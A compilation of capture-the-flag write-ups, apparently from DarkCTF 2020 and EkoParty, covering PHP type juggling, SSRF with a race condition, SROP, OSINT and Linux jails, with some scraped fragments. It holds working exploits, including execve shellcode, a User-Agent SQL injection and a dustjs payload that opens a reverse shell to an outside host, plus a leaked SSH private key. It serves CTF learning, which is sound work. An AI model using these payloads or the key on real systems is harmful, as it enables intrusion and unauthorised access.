The last thing:```phpif (isset($_GET['karma']) and isset($_GET['2020'])) { if ($_GET['karma'] != $_GET['2020']) if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1>"; } ```So, we need to provide two more query parameters: one named `karma` and one named `2020`. The md5 hash of these two must be equal, but without providing the same string for both parameters. We could search for a md5 collision, meaning that we need to find two strings with the same hash, but it is a simpler way here.Notice that the hash results are compared with a weak comparison `==` and we can levarage this by using type juggling in our advantage.What we want is to find two strings that will have the md5 hash strating with `0e`. Why is that? Well, the php will try to convert the string into an integer because of the `e` and the weak comparison. For example, `0e2` will be onverted into `0 * 10 ^ 2` which is of course 0. So, by exploiting this weak comparison we want to achive `0 == 0` which will be true.I took two strings from this [article](https://www.whitehatsec.com/blog/magic-hashes/) that have the md5 hashes starting with `0e`: `Password147186970!` and `240610708`This will give us the rest of the flag: `_web_challenge_dark_ctf}`
Final request from Burp:
Flag: DarkCTF{very_nice_web_challenge_dark_ctf}
## Chain Race#### Description>All files are included. Source code is the key.>>http://race.darkarmy.xyz:8999### SolutionThe link prompts us with the next page:
Providing an URL, the server returns the content from that address, meaning that some requests are made in back-end. My first though was that this is a code injection vulnerability, but that is not the case. Providing as input `file:///etc/passwd` we can read the content from `/etc/passwd`.
Knowing that we can read files on disk, let us get some. The requests with URLs are made to `testhook.php`, so that is our first target. Trying `file:///var/www/html/testhook.php` gives us the source code of `testhook.php` and tells us that this is the location of the server.
```php
```
So, the value from `$_POST["handler"]` is used to make a request using `curl`. Researching a little about this module does not give us more than we already know. Time to go back to the `/etc/passwd` file.Note the last entry from the file: `localhost8080:x:5:60:darksecret-hiddenhere:/usr/games/another-server:/usr/sbin/nologin`This hint suggests that another server is running on port 8080. However, the server is not exposed externally, so it cannot be accessed with http://race.darkarmy.xyz:8080.Let's do a Server-Side Request Forgery by providing as input in the form from the main page `http://localhost:8080`. This gives us the next source code:
```php
Listen 443</IfModule>
<IfModule mod_gnutls.c>Listen 443</IfModule>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet```
Reading `/etc/apache2/sites-enabled/000-default.conf` gave us the location of the second server:
```text<VirtualHost *:8080>DocumentRoot /var/www/html1</VirtualHost>```
We can get the content of `index.php`, but not from `flag.php`. However, it was a nice try.
Coming back to the source code from `http://localhost:8080`:There are some conditions that we need to pass in order to get the flag. The first one:
```phpif(!(isset($_GET['user']) && isset($_GET['secret']))){ highlight_file("index.php"); die();}
if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") { die("nope");}``` - Both `secret` and `user` must have a value - `secret` must not be equal to `0x1337` (weak comparison) - `user` must not be equal with `admin`
Second condition:```php$login_1 = 0;$login_2 = 0;
$login_1 = strcmp($_GET['user'], "admin") ? 1 : 0;
if (strcasecmp($_GET['secret'], "0x1337") == 0){ $login_2 = 1;}
if ($login_1 && $login_2) { // third condition, will be discussed next}````$login_1 && $login_2` must evaluate to `true` and for that we need: - `user` must start with `admin` - `strcasecmp($_GET['secret'], "0x1337")` must be equal with `0` (weak comparison)
The third condition is not related to `user` and `secret` so let us summarize up until this point what we need.
- `user` must not be equal with `admin` and it must strart with `admin` - Solution: set `user` equal with `admin1` - `secret` must not be equal with `0x1337` (weak comparison), but it must satisfy `strcasecmp($_GET['secret'], "0x1337") == 0` - Any other value that after type juggling is not equal with `0x1337` it is good - We need to bypass `strcasecmp($_GET['secret'], "0x1337") == 0` because, normally, the result would be 0 only if the strings are identical at byte level - Solution: make `secret` an array. This way `strcasecmp` will return `false` that will be equal to `0` due to the weak comparison
Let's check the last condition:
```phpsession_start();
$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));session_destroy();
file_put_contents($temp_name, "your_fake_flag");
if ($login_1 && $login_2) { if(@unlink($temp_name)) { die("Nope"); } echo $flag;}```In order to get the flag `unlink` needs to return `false`. Let's get line by line to fully understand what happens here.
- `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` - This will be the name of the file that will be saved on disk - Is the result of SHA1 hashing the MD5 hash of `date("ms").@$_COOKIE['PHPSESSID']` - `date("ms")` will return the month and the second of the current time (e.g. `0956`, where `09` is the month and `56` the seconds) - `@$_COOKIE['PHPSESSID']` will return the value of the cookie named `PHPSESSID`. The `@` will surpress any error or warning message.- `file_put_contents($temp_name, "your_fake_flag");` - Write `your_fake_flag` into a file that has as name the value from `$temp_name` - If the file doesn't exist it will be created- `if(@unlink($temp_name)) { die("Nope"); }` - `unlink` will attempt to delete the file - If needs to fail in order to retrieve the flag
In order to make `unlink` call fail, we need to open the file for reading right when `unlink` will attempt to delete it. This is called a race condition and we need to exploit it. We can read the file using the form from the first server by providing as input `file:///var/www/html/file-name`, but we have a problem, we need to anticipate the name of the file. Let's look again at the line where the file name is made: `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));`
It is a little trick here. You could not guess the value of the session cookie, but here the cookie is not set inside the `$_COOKIE` object even if it the session was initialied. And since the `@` is used, any error or warning will be surpressed, we do not need to worry about it, it will be an empty string.
So, `sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` is equivalent with `sha1(md5(date("ms")))`. Now, we can work with this.
I used the script below in order to exploit the race condition, tackin into account all the considerations mentioned above:
```php 'http://localhost:8080/?user=admin1&secret[]=1'];
$ch_flag_body = http_build_query($ch_flag_handler);
$flag = '';// looping until we get the flag// a race condition is somewhat not deterministic and requires multiple attemptswhile(strpos($flag, 'dark') === false) { // initialize curl object that will contain the flag $ch_flag = curl_init(); curl_setopt($ch_flag, CURLOPT_URL, $url); curl_setopt($ch_flag, CURLOPT_POST, true); curl_setopt($ch_flag, CURLOPT_POSTFIELDS, $ch_flag_body); curl_setopt($ch_flag, CURLOPT_RETURNTRANSFER, 1);
// initialize curl object for exploiting race condition $tmp_file = sha1(md5(date("ms"))); // generate the same file name $url_tmp_file = "file:///var/www/html/".$tmp_file; $ch_race_handler = [ 'handler' => $url_tmp_file ]; $ch_race_body = http_build_query($ch_race_handler);
$ch_race = curl_init(); curl_setopt($ch_race, CURLOPT_URL, $url); curl_setopt($ch_race, CURLOPT_POST, true); curl_setopt($ch_race, CURLOPT_POSTFIELDS, $ch_race_body); curl_setopt($ch_race, CURLOPT_RETURNTRANSFER, 1);
// multi handler curl object for launching the 2 reqeusts in parallel $mh = curl_multi_init(); curl_multi_add_handle($mh, $ch_flag); curl_multi_add_handle($mh, $ch_race);
// launch requests $active = null; do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM);
while ($active && $mrc == CURLM_OK) { if (curl_multi_select($mh) != -1) { do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); } }
// read response $flag = curl_multi_getcontent($ch_flag); $file_content = curl_multi_getcontent($ch_race); echo("Flag: ".$flag." -> TMP url: ".$url_tmp_file." -> File: ".$file_content."\n"); // for debugging
curl_multi_remove_handle($mh, $ch_flag); curl_multi_remove_handle($mh, $ch_race); curl_multi_close($mh);}?>```After 1 minute we get the flag:
Flag: darkCTF{9h9_15_50_a3fu1}
# OSINT## Dark Social Web#### Description>0xDarkArmy has 1 social account and DarkArmy uses the same name everywhere>>flag format: darkctf{}
### SolutionBy the provided description I decided to start by searching for accounts with the username `0xDarkArmy`. For this I used [sherlock](https://github.com/sherlock-project/sherlock) and I got the next results:
I checked all of them and I found something on the [reddit page](https://www.reddit.com/user/0xDarkArmy/), a post meant for the CTF:
The post contains a QR image.
I used https://qrscanneronline.com/ to decode it and I got the next link: https://qrgo.page.link/zCLGd. Going to this address redirects us to an onion link: http://cwpi3mxjk7toz7i4.onion/
Moving to Tor, we get a site with a static template. Checking the `robots.txt` file give us half of flag:
Now, for the other half I tried the next things with no success:- Checked the source code- Checked the imported scripts and stylesheets- Checked the requests made- Compared the source code of the template from the official page with the source code from this site - source code was identical
I knew that the flag must be somewhere on this site, so I started looking for directory listing, but with the developer tools open (I wanted to see the status codes returned).
First thing I tried looking in the folders with images, then I took folders from the imported stylesheets.
When I made a GET request to http://cwpi3mxjk7toz7i4.onion/slick/ I noticed a custom HTTP Header in the response. That header contains the rest of the flag.
Flag: darkctf{S0c1a1_D04k_w3b_051n7}
# Forensics## AW#### Description>"Hello, hello, Can you hear me, as I scream your Flag! "
### SolutionAttached to this challenge is a `.mp4` file called `Spectre`. There are indiciations that we might get the flag from a spectogram, but for that we must strip the audio from the video file.We can achieve that with `ffmpeg -i Spectre.mp4 audio.mp3`.Next, I used [Sonic Visualizer](#https://www.sonicvisualiser.org/) to analyze the file. I added a spectogram, played a little with the settings to better view the flag and I was able to extract it.
Flag: darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}
# Crypto## haxXor#### Description>you either know it or not take this and get your flag>>5552415c2b3525105a4657071b3e0b5f494b034515### SolutionBy the title and description, we can assume that the given string was XORed and we can see that the string is in HEX.First thing, we'll asume that the flag will have the standard format, so we'll search for a key that will give us `darkCTF{`.I used an adapted version of the script provided in this [write-up](https://medium.com/@apogiatzis/tuctf-2018-xorient-write-up-xor-basics-d0c582a3d522) and got the key.
Key: `1337hack`XORing the string with this key gives us the flag.
Flag: darkCTF{kud0s_h4xx0r}
# Misc## Minetest 1#### Description>Just a sanity check to see whether you installed Minetest successfully and got into the game### SolutionInstalled minetest with `sudo apt-get install minetest`, moved the world with the mods into the `~/.minetest/worlds` and started the world.The world contains a simple logic circuit. If we make the final output positive, we get the flag.
Flag: DarkCTF{y0u_5ucess_fu11y_1ns7alled_m1n37e57}
# Linux## linux starter#### Description>Don't Try to break this jail>>ssh [email protected] -p 8001 password : wolfie### SolutionAfter we connect, we see in the home directory 3 folders. From these, two are interesting because are owned by root.
As you can see, we do not have read and execute permissions on these ones. Doing an `ls -la imp/` shows us that the folder contains the flag and we can get it with `cat imp/flag.txt`.
For this challenge you could also read the .bash_history file and get some hints.
Flag: darkCTF{h0pe_y0u_used_intended_w4y}
## Secret Vault#### Description>There's a vault hidden find it and retrieve the information. Note: Do not use any automated tools.>>ssh [email protected] -p 10000>>Alternate: ssh [email protected] -p 10000 password: wolfie### Solution
We find a hidden directory under `/home` called `.secretdoor/`. Inside we found a binary called `vault` that expects a specific pin in order to "unlock the vault".
I used the next one liner in order to find the right pin:```bashnr=0; while true; do nr=$((nr+1)); if [[ $(./vault $nr) != *"wrong"* ]]; then ./vault $nr; echo $nr; fi; done;```
By Base85 decoding the string we get the flag.
Flag: darkCTF{R0bb3ry_1s_Succ3ssfullll!!}
## Squids#### Description>Squids in the linux pool>>Note: No automation tool required.>>ssh [email protected] -p 10000 password: wolfie### SolutionBased on the title, it might have something to do with suid binaries, so let's do a `sudo -l`. This gives us `Sorry, user wolf may not run sudo on 99480b7da54a.`Let's try to find suid binaries with `find`. Running `find / -type f -perm -u=s 2>/dev/null` shows us the next binaries:
The interesting one is `/opt/src/src/iamroot`. Just running it, with no arguments gives us a segmentation fault error. By forwarding an argument we get the error message `cat: a: No such file or directory`. Seems that we can run `cat` with the owner's privileges and the owner is root. Running `./iamroot /root/flag.txt` gives us the flag.
Flag: darkCTF{y0u_f0und_the_squ1d}
|
# CHALLENGE DESCRIPTIONYou came this far using Solar Designer technique and advance technique, now you are into the gr4n173 world where you can't win just with fake rope/structure but here you should fake the signal which is turing complete.
IDA decompiled *MAIN* function:```cint __cdecl main(int argc, const char **argv, const char **envp){ char buf; // [rsp+0h] [rbp-D0h]
nvm_init(*(_QWORD *)&argc, argv, envp); nvm_timeout(); printf( "Hello pwners, it's gr4n173 wired machine.\n" "Can you change the behaviour of a process, if so then take my Buffer @%p, from some part of my process.\n", &buf;; read(0, &buf, 0x1388uLL); return 0;}```
there is an overflow as the input can exceed the buffer size.
There are also 2 other interesting function.Function *eax_rax*:```c.text:00000000004007D8 ; =============== S U B R O U T I N E =======================================.text:00000000004007D8.text:00000000004007D8 ; Attributes: bp-based frame.text:00000000004007D8.text:00000000004007D8 public eax_rax.text:00000000004007D8 eax_rax proc near.text:00000000004007D8 ; __unwind {.text:00000000004007D8 push rbp.text:00000000004007D9 mov rbp, rsp.text:00000000004007DC mov eax, 0Fh.text:00000000004007E1 retn.text:00000000004007E1 eax_rax endp ; sp-analysis failed```
Which is basically a gadget to set rax to 15 (0xF).Function *useful_function*:```c.text:00000000004007CE ; =============== S U B R O U T I N E =======================================.text:00000000004007CE.text:00000000004007CE ; Attributes: bp-based frame.text:00000000004007CE.text:00000000004007CE public useful_function.text:00000000004007CE useful_function proc near.text:00000000004007CE ; __unwind {.text:00000000004007CE push rbp.text:00000000004007CF mov rbp, rsp.text:00000000004007D2 syscall ; LINUX -.text:00000000004007D4 retn```Which is basically a syscall gadget.
So at this point we have all the ingredients:- Description talk about signal --> Sigreturn-oriented programming (aka SROP)- Buffer overflow- Buffer start address --> one stack address to use mprotect and also the address of the buffer in which we will place shellcode- gadget to set rax to 15 which is SIGRETURN SYSCALL NUMBER- gadget to execute a SYSCALL
So the idea is:- trigger the overflow injecting a shellcode to open a shell, and a signal frame to SROP- read the buffer leaked- execute a SROP invoking the mprotect passing the buffer address ALIGNED to pages (12 least bit must be set to 0), permission rwx (number 7), return addresss = buffer. infact from man page of mprotect: ERROR: ... EINVAL The addr argument is not a multiple of the page size as returned by sysconf().- Mprotect will set the permission of the stack as RWX- After the execution Mprotect will jump to the return address (which we use buffer address since our shellcode is placed there)- the shellcode will be executed opening a shell### EXPLOIT```pythonfrom pwn import *
context.clear(arch="amd64")c = remote('rrop.darkarmy.xyz', 7001)#c = process("./rrop")pad = 216
# ENTRIESsyscall_ret = 0x00000000004007D2mov_rax_15_ret = 0x00000000004007DC
# LEAKc.recvuntil("@0x")leak = int(c.recvuntil(",")[:-1], 16)print ("Buff @ " + hex(leak))
#pause() # STOP TO ATTACH GDBshellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' # x86_64 EXECVE SHELLCODE
# EXPLOITpayload = shellcode # PLACING SHELLCODE IN BEGINNING OF BUFFpayload = payload.ljust(pad, b'A') # FILLING STACK TO SAVED RIPpayload += p64(mov_rax_15_ret) # SET RAX TO SIGRETURN SYSCALL NUMBERpayload += p64(syscall_ret) # CALL SIGRETURN# BUILD FAKE FRAMEframe = SigreturnFrame(kernel="amd64") # CREATING A SIGRETURN FRAME#frame = SigreturnFrame() frame.rax = 10 # SET RAX TO MPROTECT SYSCALL NUMBERframe.rdi = leak&~(0xfff) # SET RDI TO BUFF ADDRESSframe.rsi = 2000 # SET RSI TO SIZEframe.rdx = 7 # SET RDX => RWX PERMISSIONframe.rsp = leak + len(payload) + 248 # WHERE 248 IS SIZE OF FAKE FRAME, CAUSE WE STILL NEED TO CONTROL RIP AFTER!frame.rip = syscall_ret # SET RIP TO SYSCALL ADDRESS# PLACE FAKE FRAME IN STACKpayload += bytes(frame)payload += p64(leak) # RETURN2SHELLCODE
# SENDINGc.sendline(payload)
c.interactive()```
# FLAG`darkCTF{f1n4lly_y0u_f4k3_s1gn4l_fr4m3_4nd_w0n_gr4n173_w1r3d_m4ch1n3}`
|
### Followup of Leak challenge
Lets look at the additional files that were changed with the `oops` commit.There is:
1) private SSH Key```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
2) `.github/workflows/issue-bouncer.yml````name: Bounce issues from public repo to private repoon: issues: types: [opened]
jobs: issue-label-check: runs-on: ubuntu-latest steps: - name: Check trigger label if: ${{ !contains(github.event.issue.labels.*.name, 'Staff Report') }} run: | echo "No trigger label found, aborting workflow (not an error!)" exit 1 - name: Set up Python3 if: ${{ success() }} uses: actions/setup-python@v1 with: python-version: "3.7" - name: Checkout this repo if: ${{ success() }} uses: actions/checkout@v2 - name: Run the python3 script for this action if: ${{ success() }} env: # where the bounced issue came from SRC_REPO_TOKEN: ${{ secrets.GITHUB_TOKEN }} SRC_REPO_ISSUE: ${{ github.event.issue.number }} # where the bounced issue will go DST_REPO: 'ekoparty2020/ekoparty-internal' DST_REPO_TOKEN: ${{ secrets.INTERNAL_TOKEN }} run: | # external report to internal report pip3 install pyGithub pip3 install sh python3 .github/workflows/issue-bouncer.py```
Those are the only files we need for this task.There are two key information here:1) We have Private SSH Key2) In the bouncer yaml definition, there is `DST_REPO: 'ekoparty2020/ekoparty-internal'` which is another repository.
Lets take the private key a use it to clone the internal repository.I've extracted the key to file, added this to `~/.ssh/config` :```Host ctfgit HostName github.com IdentityFile /home/jsf/CTF/ekoparty/git/docs/privkey IdentitiesOnly Yes```and then cloned the repository with ```git clone git@ctfgit:ekoparty2020/ekoparty-internal.git```
After reading the `README` file in the internal repository, we got the flag.```cat README.md # EkoParty 2020 issue tracker
This is the internal ekoparty issue tracker for the 2020 edition.
Please file any conference issues here for staff triage.
Note: this repository uses github actions:
https://docs.github.com/en/actions
Also, congrats for solving Stage 2!
EKO{1ca688c86b0548d8f26675d85dd77d73c573ebb6}```
Flag: EKO{1ca688c86b0548d8f26675d85dd77d73c573ebb6} |
# link to original writeup on githubworks better on github because of links and files referenced and better syntax highlighting https://github.cozm/tHoMaStHeThErMoNuClEaRbOmB/ctfwriteups/tree/master/darkctf/web/php_information
# web/php informationFirst lets look at the code. I posted the commented version of the server side code to this git repo.
Going through the code we can see that there are 4 main `if` statements that each return a part of the flagflags:- $flag- $flag\_1- $flag\_2- $flag\_3
Here is a walkthrough on how to get each flag.(flags are printed at the bottom of the page so if youre like me you might have missed that for a few mins)
### $flagcode for first flag:```php# is true if the url includes query'sif (!empty($_SERVER['QUERY_STRING'])) {
$query = $_SERVER['QUERY_STRING']; $res = parse_str($query);
# is true if darkctf is one of the query arguments if (!empty($res['darkctf'])){ $darkctf = $res['darkctf']; }}
# if darkctf print flagif ($darkctf === "2020"){ echo "<h1 style='color: chartreuse;'>Flag : $flag</h1>";}```
the server checks if there is a urlparameter called "darkctf" and if there is then assigns it to $darkctf
if darkctf="2020" we get the flag```http://php.darkarmy.xyz:7001/?darkctf=2020```
result:```DarkCTF{```
cool onto the second part:### flag\_1code for second flag:```php# if useragent = "020_the_best_year_corona" print flag_1if ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1>";}```our brosers useragent has to equal to base64 decoded version of "`MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==`"
base64\_decode( "`MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==`") = "`2020_the_best_year_corona`"
setting is easiest with the curl using the `-A flag````bashcurl -A "2020_the_best_year_corona" http://php.darkarmy.xyz:7001```
result:```very_```
### flag\_2code for third flag:```php# is true if the url includes query'sif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query);
# if ctf2020 is set if (!empty($res['ctf2020'])){ $ctf2020 = $res['ctf2020']; }
# if ctf2020 is equal to "" if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1>"; } }```at fist glance it looks like the first flag. you need to set urlparameter ctf2020 to a string, but there is a catch, its `base64\_encode` and not `decode` so the actual string is "`WkdGeWEyTjBaaTB5TURJd0xYZGxZZz09`"
```http://php.darkarmy.xyz:7001/?ctf2020=WkdGeWEyTjBaaTB5TURJd0xYZGxZZz09```
result:```nice```
### flag\_3code for fourth flag:```php# true if url param "karma" and "2020" is setif (isset($_GET['karma']) and isset($_GET['2020'])) {
# karma and 2020 cant equal each other if ($_GET['karma'] != $_GET['2020'])
# yet their hash does if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1>";}```overview:- we need to set both 'karma' and '2020'- 'karma' and '2020' cannot equal each other- md5($karma) has to equal md5($2020)
notice that when coparing the md5 of the two strings only `==` is used and not `===` this is called a non-strict comparison and leads to some interesting php bugs involving type juggling, [this document explains it well](https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf)
when we use non-strict comparison ( == ) php will attempt to guess the type of the value before comparing them. This leads to weird stuff happening, eg: any string starting with `"0e"` will be evaluated as `0`
```bash$ echo -n 240610708 | md5sum0e462097431906509019562988736854 -
$ echo -n QNKCDZO | md5sum0e830400451993494058024219903391 -```two completely different strings that both start with "0e" will equal to each other because php things they are both 0```http://php.darkarmy.xyz:7001/?karma=240610708&2020=QNKCDZO```
result:```_web_challenge_dark_ctf}```
# flag```DarkCTF{very_nice_web_challenge_dark_ctf}```
|
```py# SQL injection through User Agent
import requests
data = { 'uname': 'admin', 'passwd': 'admin', 'submit': 'Submit',}
headers = { 'user-agent': "' or extractvalue(1,concat(0x7e,database())) or ' ",}
r = requests.post('http://agent.darkarmy.xyz/', data=data, headers=headers)
print(r.text)``` |
# Flag of Life
Author: [roerohan](https://github.com/roerohan)
## Source
```Help our adventurer in attaining the Flag of Life by defeating the Demon Guard Flageon.
nc flagoflife.darkarmy.xyz 7001```
## Expliot
Upon connection, you get:
```sh$ nc flagoflife.darkarmy.xyz 7001
'Demon Guard Flageon: Who dares to disturb my slumber?...A human?what is your name human?
You: 1337
Demon Guard Flageon: Listen close, 1337. To pass through you must give me a key of certain shape and size. I do not expect mere mortals to pass this test and win the Flag of Life. So here is a hint: the shape of the key is a square. But I will not tell you the size. You have 3 tries!
| How lucky! Look in your backpack. You have a square-key-making device. | huh... weird thing to carry around if you ask me. | Anyways. | The problem is the device needs the edge length as input to make the key...```
And it asks you to input `edge length`.
```Input edge length: 5
*mechanical whirring*...*pop*
Demon Guard Flageon: The size of your key is off by 25 sq cm. You have 2 more attempts left```
Whatever edge lenght you input, it says that the size is off by the square of your input.
Also, we find that the program stores edge length in a variable of type `integer` since it overflows on inputs greater than 4 bytes in size.
Now the motive is clear, we have to pass a number as input so that it's square overflows exactly to give 0. We know that the size of `int` is `2^32 - 1`. So, `2^32` is going to overflow to become `0`. Therefore, we must pass `2^16` as input, which is `65536`.
```shInput edge length: 65536
*mechanical whirring*...*pop*
Demon Guard Flageon: Congratulation! You have completed this task. The Flag of Life is now your's
=============================================== | darkCTF{-2147483648_c0m3s_aft3r_2147483647} | ===============================================```
The flag is:
```darkCTF{-2147483648_c0m3s_aft3r_2147483647}``` |
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|
```py# You have to pass the binary as an argument.
import angrimport claripyimport sys
def main(argv): b = argv[1] project = angr.Project(b) length = 17 characters = [claripy.BVS('flag{-%d' %i, 8) for i in range(length)] input_ = claripy.Concat(*characters + [claripy.BVV(b'\n')]) state = project.factory.full_init_state(args=["b"], stdin=input_)
simulate = project.factory.simulation_manager(state) good_addr = 0x00001482 bad_addr = 0x00001461 simulate.explore(find=good_addr, avoid=bad_addr)
s = [] for j in simulate.deadended: if b"Good Work!" in j.posix.dumps(1): s.append(j)
valid = s[0].posix.dumps(0) print(valid)
if __name__ == '__main__': main(sys.argv)
# darkCTF{n0_5ymb0l1c,3x30}``` |
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</body></html>
|
```pyimport requestsfrom base64 import b64decode, b64encode
url = lambda x: 'http://php.darkarmy.xyz:7001/' + x
params={ 'darkctf': 2020, 'ctf2020': b64encode(b'ZGFya2N0Zi0yMDIwLXdlYg=='), 'karma': '240610708', '2020': 'QNKCDZO',}
headers = { 'user-agent': b64decode('MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==')}
r = requests.get(url(''), params=params, headers=headers)
print(r.text)
# DarkCTF{very_nice_web_challenge_dark_ctf}``` |
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|
```py
# dustjs-linkedin vulnerability
import requestsimport base64
url = lambda x: "http://dusty.darkarmy.xyz/addNotes?" + x
host = 'yourhost'port = 8000 # yourport
payload = (f"""var net = require('net'), sh = require('child_process').exec('/bin/bash');var client = new net.Socket();client.connect({port}, '{host}',""" + """function () { client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client);});""").replace('\n', '').encode()
payload = base64.b64encode(payload).decode()
payload = f'message[]=x&message[]=y%27-eval(new%20Buffer(%22{payload}%22,%20%22base64%22).toString())-%27'
print(url(payload))
# Visit on browser# darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}``` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-solutions</span></span></span><span>/</span><span><span>RomHack</span></span><span>/</span><span><span>pwn</span></span><span>/</span>ebirthday<span>/</span> </div> </div>
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[Original Writeup](https://github.com/NickWingate/Writeups/blob/master/HACON_CTF/Web/D4m4gedC4lc.md)(https://github.com/NickWingate/Writeups/blob/master/HACON_CTF/Web/D4m4gedC4lc.md) |
# linux starter
## Problem description
Don't Try to break this jail
ssh [email protected] -p 8001 password : wolfie
## Solving the challenge
Connected to the server through ssh.
The problem is that many of the bash commands will not execute, since we are runningwithin a restricted shell. In this case, I tried different commands until I found the ones that worked for solving the challenge.
Found the OS:
